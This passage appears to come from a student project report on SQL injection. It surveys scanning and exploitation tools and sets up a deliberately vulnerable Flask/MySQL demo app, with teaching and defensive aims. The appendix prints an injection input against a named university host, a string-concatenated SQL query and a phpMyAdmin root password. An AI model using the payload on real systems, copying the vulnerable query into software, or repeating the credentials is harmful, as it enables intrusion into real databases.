Step 1: Once you have install the tool from the appscan welcome screen you would create a new scan and from the list of predefined templates -> select demo.testfire.net (one of the vulnerable sites) -> Later the wizard opens and check the connection to the site that is going to be scanned.
Step 2: Then Next and click the login management. In the login method click on the record button- To record the valid username and password (which helps Appscan to identify when it is in and out of the section) and click on “I am logged into the site” button to close the browser. Later the Green Key Icon shows that Appscan has validated the login sequence.

Step 3: In the Test policy you can use the type of tests used in the scan. However we will use the default policy this time. Then we will start a full automatic scan (In complete scan configuration wizard) and click on Finish. When the scan is complete – For large sites it would take several hours. And the scan Results are presented in three views: Data, Issues, Tasks.

Data view: Default view which shows the structure of the site and other application data together when exploring it.

The application tree on the left shows the structure of the site and other application data together when exploring it.

The application tree on the left shows the structure of all the explored folders, URLs. You can use this tree to check the AppScan configure the site fully. In that select a folder and a node on a strick through indicate the failed request.

Right click on the node to look for several options-Show in Browser, manual explore etc. When you select the node. The results list shows the parameters, cookies and other details that are presented during the explore stage.
Right click for several options such as Exclude this parameter from the scan.

Issues view is the most important central view, where you can find the details of the vulnerabilities of the site. Where you can find the severity on the basis of categorization of high, medium, low. Tasks review the severity of the issues found by the scan.

### 8.4 HP Scrawlr

In this tool just enter the URL of the site that you prefer to scan. It is also one of the SQL Injection vulnerability Identification tools as shown [Pen2017] in Figure 20.

1) Microsoft became aware that the recent increase of the class of SQL injection attacks targeting Microsoft ASP and ASP.NET technologies due to drawbacks in the secure coding practices for accessing and manipulating data stored relational database. Bryan Sullivan et al. an engineer at Microsoft’s Security Development Lifecycle team said that combining this tools they can complement each other well.

It uses intelligent engine technology to dynamically craft SQL injection attacks on fly.

2) Using HP Scrawlr we retrieve a Web page and identify the web links contained in it. This process is repeated for each identified link until all the linked contents of web site retrieved.

3) Using Scrawlr we can identify verbose SQL injection vulnerabilities in URL parameters, Identify the type of SQL server in use, Can extract table names to
guarantee no false positives. Scrawlr is a black-box analysis tool that does not access source code.

Figure 20: HP Scrawlr Demonstration

8.5 URLScan

1) URLScan 3.1 [Pen2017] filters the requests coming to the server based on the rules that are set by the administrator. Filtering requests helps to ensure that only valid requests are being processed in the backend database as shown in Figure 21.

2) Administrators make URLScan to reject HTTP requests based on the following criteria such as: Based on HTTP request method or verb, request resource file name extension, suspicious URL encoding, Presence of non-ASCII characters in URL, Presence of specified character sequence in URL, Presence of specified headers in the request.
3) When URLScan denies request it will log the reason for denial along with the complete URL and IP address of source of request and IIS sends a “404 Object not found” response to the client. This response reduces the attacker possibility of disclosing information about the server.

- URLScan: Blocks the malicious requests from entering the web applications
- Reject HTTP requests based on Administrators criteria

![Figure 21: URLScan Demonstration](image-url)
CHAPTER IX

EXPERIMENTS AND EVALUATION

The Experiments and evaluation shows the critical analysis of the tools and which one shows the better performance based on the experiments.

HP Scrawlr limitations are: (1) Tests only GET parameters (2) It supports maximum of 1500 crawled URLs (3) During the crawl no script parsing can take place (4) During crawl no flash parsing can take place (5) During crawl they would be no form submission and no post parameters (6) It doesn’t support authentication or login functionality (7) Does not check for blind SQL Injection (8) Takes only simple proxy support.

In the following we discuss the pros and cons of three tools:

1) HP Scrawlr black-box tool which does not need to depend on the pre-collected attack patterns. Advantages of HP Scrawlr are it uses intelligent engine technology to dynamically craft SQL injection attacks on fly which is better than defense code practices.

2) URL Scan- the limitations are: (1) its protection is limited to only query strings, headers and cookies (2) regular expressions are not supported and post data is not protected.

3) Microsoft source code analyzer detects both the first-order and second-order vulnerabilities. Usually second-order vulnerabilities difficult to detect.
However there are limitations among the tools depending on the applications they are used. Microsoft Source Code analyzer accepts only ASP source code written in VBScript.

4) BSQ Hacker designed to exploit blind SQL Injection vulnerabilities in all possible databases.

It is fast and multithreaded. It can automate most of SQL Injection methods that depend on Blind SQL Injection. The included Injection points are Query String, Post, HTTP Headers, Cookies.

5) SQLMap –To extract the database details completely. To bypass a web application Firewall (WAF) using tamper scripts.

-Gaining the underlying operating system i.e access of operating system

6) SQLninja is a tool to exploit web application vulnerabilities that uses only Microsoft –SQL server as its back-end. Its main role is to remotely access the vulnerable DB server, even at hostile environments.

7) HP WebInspect – Saves time when dealing with large enterprise applications.

-Presents the comprehensive view of attacks

-Doesn’t dependent on the underlying language.

Disadvantages

-Among the listed vulnerabilities they could be false positives.
8) IBM Rational AppScan

- User Interface provides a view selector for application tree, along the hierarchical security issues results lists.

- The complex authentication support enables testing for multistep authentication procedures.
CHAPTER X

LESTONS LEARNT

In this project, I have learned how to setup virtual machine and investigate SQL Injection tools. I studied SQL Injection Techniques and Tools. I also investigated how to create software patches for the web apps with SQL Injection Vulnerabilities. I also learn how to apply security design pattern to understand the victim source code and spot the causes of the SQL injection vulnerabilities. Examine how the secure coding practice can avoid the common security mistake is enlightening.

I have learned to create web apps using Flask MySQL. To do that, we need to make sure that the python is installed. We then can install Flask using Pip->pip install Flask. And in the FlaskApp directory, we create the web app such as a showme.py.

To avoid SQL Injection vulnerability, we patch the Web App with using input validation technique and the parameterized query technique.

I have learned how to use the automatic SQL Injection detection tool to analyze web apps with backend databases. Using the tool you can retrieve the detailed information from the database if the web app contains vulnerabilities.

During this research, my laptop crashed a few times and I need to install the SQL tool each time. I found the virtual machine on EAS VI is more reliable.
CHAPTER XI
FUTURE WORK

Future research directions for SQL Injection attacks and defenses include:

• Improve on Techniques to detect SQL Injection Vulnerabilities

  The current techniques are slow. The performance can be improved by examining the source code of the tools. Most of the tools do not provide detailed information on the causes and actual locations of the vulnerabilities.

• Enhance SQL Injection prevention in other programming languages.

• Demonstration of BSQL Hacker Tool for Automated Blind SQL Injection

• Enhance the patching techniques using different forms of Regular Expressions

• Demonstrate the various forms of SQL Injection that can be performed on web apps.
CHAPTER XII

CONCLUSION

I have designed and implemented FlaskApp based web app with MySQL database backend. I was able to perform SQL injection attack on the web app and patch it. Survey on existing SQL injection tools are analyzed in detail. Some of these tools are downloaded and tried in the collection of web app including my showme.py. Some of them cannot detect the vulnerabilities in showme.py. The application level are much better than compared to code inspecting ones on the basis of scalability, performance and efficiency. However as we have seen in the experiments and evaluation every tool has its advantages and disadvantages.

So one should be familiar depending on the job they want to perform which are efficient. Moreover mixing of tools together can make the job much easier.
REFERENCES


Appendix A Installation and Configuration

Download the sqlinjdemo.tgz from http://cs.ucccs.edu/~gsc/pub/master/dkilaru/src

Tar xzvf sqlinjdemo.tgz in your home directory

You will see a FlaskApp directory created with all the demo files. One of them is showme.py

Then change directory (cd) to FlaskApp and ls the files in FlaskApp folder. Open the file showme.py and execute the file using-

python showme.py

If your linux machine does not have Flask module you need to run pip install Flask

If your linux machine does not have Flask-mysql, try “pip install flask-mysql”

Figure A.1. FlaskApp Setup
Now the file showme.py is running.

You can run
http://dkilaru.csnet.uccs.edu:5000/Showme?email=cs591@uccs.edu&passwd=netsec
To show when it runs normally.
Then enter cchow@uccs.edu' or 0=0 or password='1234" for Email content. You will see a simple demo of sql injection.

Here it displays the enter table member1 in the database chowdb. View the code to identify the tablename and databasename.
Figure A.6. Setup mysql database access credential.

In the code above it shows the MYSQL_DATABASE-User, Password, DB, Host.

You can also access the database through the phpmyadmin with

http://dkilaru.csnet.uccs.edu/phpmyadmin/

The root password is cs00net
The code below highlights the table name, where its member1.

```
SELECT * from member1 where email='' +email+ ''
```

Without host='0.0.0.0' parameter, the app.run() will only listen to the local loopback IP address 127.0.0.1. Therefore only local app can connect to the app. If we like the flask app to receive and process requests from any IP addresses outside. We need to add host='0.0.0.0' as a parameter.

app.run(host='0.0.0.0') allows the binding of all interfaces.
Figure A.8. Showme.py code that allows all outside accesses.

In the above code if the host='0.0.0.0' have been removed from the app.run, then it blocks the firewall.

Figure A.9. The execution of showme.py with app.run(host='0.0.0.0') settings
When the host='0.0.0.0' have been removed from the app.run, we can no longer access showme.py app from outside of the server.

Note that the app.run() by default requesting port 5000. To allow the firewall of the server to permit the request to port 5000, we need to add firewall-cmds:

Firewall-cmd --permanent --zone=FedraServer --add-port=5000/tcp.

To find out the zone of the firewall, we use firewall-cmd --get-zone-of-interface=en192 where en192 the interface name.

![Figure A.10. Using firewall-cmd to open firewall to listen to port 5000.](image-url)
For the demos of SQL tools, please see Chapter 7.